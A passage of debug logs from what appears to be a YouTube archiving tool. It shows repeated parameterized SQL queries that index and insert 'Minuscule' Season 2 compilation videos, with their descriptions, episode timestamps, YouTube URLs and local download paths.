lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Hat Of The Medusa | S02E17\n00:03:45 | Summer Hat | S02E48\n00:07:27 | Labyrinth | S02E69\n00:11:12 | Spider from the Depths | S02E31\n00:14:47 | Brushing | S02E46\n00:18:19 | Honey Fly | S02E08\n00:22:09 | Thievish As A Magpie | S02E11\n00:25:55 | A Pathetic She'Nut'Igan | S02E12\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#hat #fly #spider #ocean #summer #Minuscule #nature #insects #ladybugs #animatedseries", "The Hat Of The Medusa | Minuscule | 40' Compilation", "cXt8BCh7-7A", 1819, false, 5, "https://www.youtube.com/watch?v=cXt8BCh7-7A", "/downloads/Miniscule Season 2/2025-08-09 The Hat Of The Medusa | Minuscule | 40' Compilation/The Hat Of The Medusa | Minuscule | 40' Compilation [cXt8BCh7-7A].mp4", false, ~U[2025-08-09 18:00:38Z]] 22:15:39.104 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.105 [debug] QUERY OK source="media_items" db=0.9ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-24 10:00:04Z], 5] 22:15:39.109 [debug] QUERY OK source="media_items" db=2.5ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Snow Carrot | S02E59\n00:03:38 | Sand Castle | S02E49\n00:07:05 | Ants On The Train | S02E52\n00:10:36 | The Yule log | S02E35\n00:14:22 | Away all boarders! | S02E41\n00:18:04 | Snow Fly | S02E51\n00:21:29 | It's a tie! | S02E67\n00:25:09 | Sausage Predator | S02E06\n00:28:55 | The Chocolate Chase! | S02E19\n00:32:40 | Black Slope For Gastropod Skiers | S02E55\n00:36:26 | White As Snow | S02E63\n00:40:02 | Rascals! | S02E38\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Snow #Carrot #Ants #Ski #Chocolate #Beach #Castle #Minuscule #nature #insects #ladybugs #animatedseries", "Snow Carrot | Minuscule 🍃 55' Compilation", "fde84668-6450-4bc9-ad27-5a043a9c982b", "33Gq2gdWIFQ", 2661, false, 5, "https://www.youtube.com/watch?v=33Gq2gdWIFQ", 38, "/downloads/Miniscule Season 2/2025-07-24 Snow Carrot | Minuscule 🍃 55' Compilation/Snow Carrot | Minuscule 🍃 55' Compilation [33Gq2gdWIFQ].mp4", false, false, false, [], 1, ~U[2025-07-24 10:00:04Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Snow Carrot | S02E59\n00:03:38 | Sand Castle | S02E49\n00:07:05 | Ants On The Train | S02E52\n00:10:36 | The Yule log | S02E35\n00:14:22 | Away all boarders! | S02E41\n00:18:04 | Snow Fly | S02E51\n00:21:29 | It's a tie! | S02E67\n00:25:09 | Sausage Predator | S02E06\n00:28:55 | The Chocolate Chase! | S02E19\n00:32:40 | Black Slope For Gastropod Skiers | S02E55\n00:36:26 | White As Snow | S02E63\n00:40:02 | Rascals! | S02E38\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Snow #Carrot #Ants #Ski #Chocolate #Beach #Castle #Minuscule #nature #insects #ladybugs #animatedseries", "Snow Carrot | Minuscule 🍃 55' Compilation", "33Gq2gdWIFQ", 2661, false, 5, "https://www.youtube.com/watch?v=33Gq2gdWIFQ", "/downloads/Miniscule Season 2/2025-07-24 Snow Carrot | Minuscule 🍃 55' Compilation/Snow Carrot | Minuscule 🍃 55' Compilation [33Gq2gdWIFQ].mp4", false, ~U[2025-07-24 10:00:04Z]] 22:15:39.110 [debug] QUERY OK source="sources" db=0.4ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.111 [debug] QUERY OK source="media_items" db=0.9ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-08 06:00:57Z], 5] 22:15:39.115 [debug] QUERY OK source="media_items" db=2.4ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Iron Monster | S02E33\n00:03:33 | The Monster Of The Haunted Swamp | S02E37\n00:07:04 | Ants On The Train | S02E52\n00:10:35 | Microzilla | S02E07\n00:14:21 | Trapped | S02E64\n00:18:03 | Sausage Predator | S02E06\n00:21:49 | Spider Driver | S02E36\n00:25:30 | Away all boarders! | S02E41\n00:29:13 | The Grocery Store Incident | S02E39\n00:32:43 | Night of the Gastropods | S02E18\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Iron #Monster #Insects #Panic #Swamp #Sounds #Minuscule #nature #insects #ladybugs #animatedseries", "The Iron Monster | Minuscule 🍃 50' Compilation", "cec0d7b6-54bd-4cb6-b7ef-a70eeadb0722", "yk2iwHDT7Ds", 2228, false, 5, "https://www.youtube.com/watch?v=yk2iwHDT7Ds", 39, "/downloads/Miniscule Season 2/2025-07-08 The Iron Monster | Minuscule 🍃 50' Compilation/The Iron Monster | Minuscule 🍃 50' Compilation [yk2iwHDT7Ds].mp4", false, false, false, [], 1, ~U[2025-07-08 06:00:57Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Iron Monster | S02E33\n00:03:33 | The Monster Of The Haunted Swamp | S02E37\n00:07:04 | Ants On The Train | S02E52\n00:10:35 | Microzilla | S02E07\n00:14:21 | Trapped | S02E64\n00:18:03 | Sausage Predator | S02E06\n00:21:49 | Spider Driver | S02E36\n00:25:30 | Away all boarders! | S02E41\n00:29:13 | The Grocery Store Incident | S02E39\n00:32:43 | Night of the Gastropods | S02E18\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Iron #Monster #Insects #Panic #Swamp #Sounds #Minuscule #nature #insects #ladybugs #animatedseries", "The Iron Monster | Minuscule 🍃 50' Compilation", "yk2iwHDT7Ds", 2228, false, 5, "https://www.youtube.com/watch?v=yk2iwHDT7Ds", "/downloads/Miniscule Season 2/2025-07-08 The Iron Monster | Minuscule 🍃 50' Compilation/The Iron Monster | Minuscule 🍃 50' Compilation [yk2iwHDT7Ds].mp4", false, ~U[2025-07-08 06:00:57Z]] 22:15:39.115 [debug] QUERY OK source="sources" db=0.3ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.116 [debug] QUERY OK source="media_items" db=0.8ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-17 10:00:21Z], 5] 22:15:39.120 [debug] QUERY OK source="media_items" db=2.4ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Love Apple | S02E45\n00:03:39 | Homeless | S02E02\n00:07:27 | Metamorphosis | S02E61\n00:10:57 | The Wing Case | S02E01\n00:14:43 | Hop On! | S02E25\n00:18:20 | Valentine's Day | S02E15\n00:22:05 | A Butterfly's Nightmare | S02E20\n00:25:22 | Trapped | S02E64\n00:29:05 | Away all boarders! | S02E41\n00:32:47 | If Only Lonely | S02E22\n00:36:33 | The Annoying Neighbor | S02E28\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #apple #caterpillars #separation #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "Love Apple | Minuscule 🍃 55' Compilation", "2709f4cf-1eec-401c-8005-5b8789089d84", "6qeIwbnhMqo", 2447, false, 5, "https://www.youtube.com/watch?v=6qeIwbnhMqo", 40, "/downloads/Miniscule Season 2/2025-07-17 Love Apple | Minuscule 🍃 55' Compilation/Love Apple | Minuscule 🍃 55' Compilation [6qeIwbnhMqo].mp4", false, false, false, [], 1, ~U[2025-07-17 10:00:21Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Love Apple | S02E45\n00:03:39 | Homeless | S02E02\n00:07:27 | Metamorphosis | S02E61\n00:10:57 | The Wing Case | S02E01\n00:14:43 | Hop On! | S02E25\n00:18:20 | Valentine's Day | S02E15\n00:22:05 | A Butterfly's Nightmare | S02E20\n00:25:22 | Trapped | S02E64\n00:29:05 | Away all boarders! | S02E41\n00:32:47 | If Only Lonely | S02E22\n00:36:33 | The Annoying Neighbor | S02E28\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #apple #caterpillars #separation #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "Love Apple | Minuscule 🍃 55' Compilation", "6qeIwbnhMqo", 2447, false, 5, "https://www.youtube.com/watch?v=6qeIwbnhMqo", "/downloads/Miniscule Season 2/2025-07-17 Love Apple | Minuscule 🍃 55' Compilation/Love Apple | Minuscule 🍃 55' Compilation [6qeIwbnhMqo].mp4", false, ~U[2025-07-17 10:00:21Z]] 22:15:39.121 [debug] QUERY OK source="sources" db=0.3ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.122 [debug] QUERY OK source="media_items" db=0.7ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-15 06:00:58Z], 5] 22:15:39.125 [debug] QUERY OK source="media_items" db=2.3ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Long Road | S02E34\n00:03:42 | Thirsty | S02E29\n00:07:15 | Labyrinth | S02E69\n00:11:00 | The Annoying Neighbor | S02E28\n00:14:36 | Night of the Gastropods | S02E18\n00:18:22 | The Butterfly Effect | S02E23\n00:21:44 | Love Apple | S02E45\n00:25:24 | Honey Fly | S02E08\n00:29:14 | Zzz In The Metro | S02E53\n00:32:50 | A Butterfly's Nightmare | S02E20\n00:36:06 | White As Snow | S02E63\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#snail #water #journey #hazard #thirsty #heatwave #Minuscule #nature #insects #ladybugs #animatedseries", "The Long Road | Minuscule 🍃 50' Compilation", "7579c82f-1d2b-4898-a716-be1f59821a22", "zzdfZs9qUn4", 2421, false, 5, "https://www.youtube.com/watch?v=zzdfZs9qUn4", 41, "/downloads/Miniscule Season 2/2025-07-15 The Long Road | Minuscule 🍃 50' Compilation/The Long Road | Minuscule 🍃 50' Compilation [zzdfZs9qUn4].mp4", false, false, false, [], 1, ~U[2025-07-15 06:00:58Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Long Road | S02E34\n00:03:42 | Thirsty | S02E29\n00:07:15 | Labyrinth | S02E69\n00:11:00 | The Annoying Neighbor | S02E28\n00:14:36 | Night of the Gastropods | S02E18\n00:18:22 | The Butterfly Effect | S02E23\n00:21:44 | Love Apple | S02E45\n00:25:24 | Honey Fly | S02E08\n00:29:14 | Zzz In The Metro | S02E53\n00:32:50 | A Butterfly's Nightmare | S02E20\n00:36:06 | White As Snow | S02E63\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#snail #water #journey #hazard #thirsty #heatwave #Minuscule #nature #insects #ladybugs #animatedseries", "The Long Road | Minuscule 🍃 50' Compilation", "zzdfZs9qUn4", 2421, false, 5, "https://www.youtube.com/watch?v=zzdfZs9qUn4", "/downloads/Miniscule Season 2/2025-07-15 The Long Road | Minuscule 🍃 50' Compilation/The Long Road | Minuscule 🍃 50' Compilation [zzdfZs9qUn4].mp4", false, ~U[2025-07-15 06:00:58Z]] 22:15:39.126 [debug] QUERY OK source="sources" db=0.3ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.127 [debug] QUERY OK source="media_items" db=0.8ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-10 10:01:53Z], 5] 22:15:39.131 [debug] QUERY OK source="media_items" db=2.4ms idle=5.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Stubborn Spider | S02E04\n00:03:45 | A Pathetic She'Nut'Igan | S02E12\n00:07:30 | Labyrinth | S02E69\n00:11:16 | Zzz In The Metro | S02E53\n00:14:51 | Go Blue Go! | S02E54\n00:18:33 | Honey Fly | S02E08\n00:22:23 | Brushing | S02E46\n00:25:56 | Spider from the Depths | S02E31\n00:29:30 | The Hat Of The Medusa | S02E17\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#stubborn #spider #determination #house #Pathetic #Spider #Invent #Strategies #Minuscule #nature #insects #ladybugs #animatedseries", "The Stubborn Spider | Minuscule 🍃 45' Compilation", "393b39a9-4a39-47dd-9483-a951edd80d33", "1TMeERmmHeE", 2034, false, 5, "https://www.youtube.com/watch?v=1TMeERmmHeE", 42, "/downloads/Miniscule Season 2/2025-07-10 The Stubborn Spider | Minuscule 🍃 45' Compilation/The Stubborn Spider | Minuscule 🍃 45' Compilation [1TMeERmmHeE].mp4", false, false, false, [], 1, ~U[2025-07-10 10:01:53Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Stubborn Spider | S02E04\n00:03:45 | A Pathetic She'Nut'Igan | S02E12\n00:07:30 | Labyrinth | S02E69\n00:11:16 | Zzz In The Metro | S02E53\n00:14:51 | Go Blue Go! | S02E54\n00:18:33 | Honey Fly | S02E08\n00:22:23 | Brushing | S02E46\n00:25:56 | Spider from the Depths | S02E31\n00:29:30 | The Hat Of The Medusa | S02E17\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#stubborn #spider #determination #house #Pathetic #Spider #Invent #Strategies #Minuscule #nature #insects #ladybugs #animatedseries", "The Stubborn Spider | Minuscule 🍃 45' Compilation", "1TMeERmmHeE", 2034, false, 5, "https://www.youtube.com/watch?v=1TMeERmmHeE", "/downloads/Miniscule Season 2/2025-07-10 The Stubborn Spider | Minuscule 🍃 45' Compilation/The Stubborn Spider | Minuscule 🍃 45' Compilation [1TMeERmmHeE].mp4", false, ~U[2025-07-10 10:01:53Z]] 22:15:39.132 [debug] QUERY OK source="sources" db=0.3ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.133 [debug] QUERY OK source="media_items" db=0.8ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-26 10:00:07Z], 5] 22:15:39.136 [debug] QUERY OK source="media_items" db=2.2ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pollution | S02E60\n00:03:45 | The Annoying Neighbor | S02E28\n00:07:21 | Mission : BBQ | S02E09\n00:11:07 | Acrobatics | S02E16\n00:14:52 | The Mosquito Of The Caribbean | S02E57\n00:18:38 | Zzz zzz | S02E44\n00:22:08 | Sunburn | S02E40\n00:25:33 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pollution #Mosquito #City #Noise #caterpillar #noisy #neighbor #apple #Minuscule #nature #insects #ladybugs #animatedseries", "Pollution | Minuscule 🍃 40' Compilation", "5a6aec48-e740-4b26-82fe-15dcc37710fb", "5cSqpA_gNqs", 1782, false, 5, "https://www.youtube.com/watch?v=5cSqpA_gNqs", 43, "/downloads/Miniscule Season 2/2025-06-26 Pollution | Minuscule 🍃 40' Compilation/Pollution | Minuscule 🍃 40' Compilation [5cSqpA_gNqs].mp4", false, false, false, [], 1, ~U[2025-06-26 10:00:07Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pollution | S02E60\n00:03:45 | The Annoying Neighbor | S02E28\n00:07:21 | Mission : BBQ | S02E09\n00:11:07 | Acrobatics | S02E16\n00:14:52 | The Mosquito Of The Caribbean | S02E57\n00:18:38 | Zzz zzz | S02E44\n00:22:08 | Sunburn | S02E40\n00:25:33 | Beehive On A Troll | 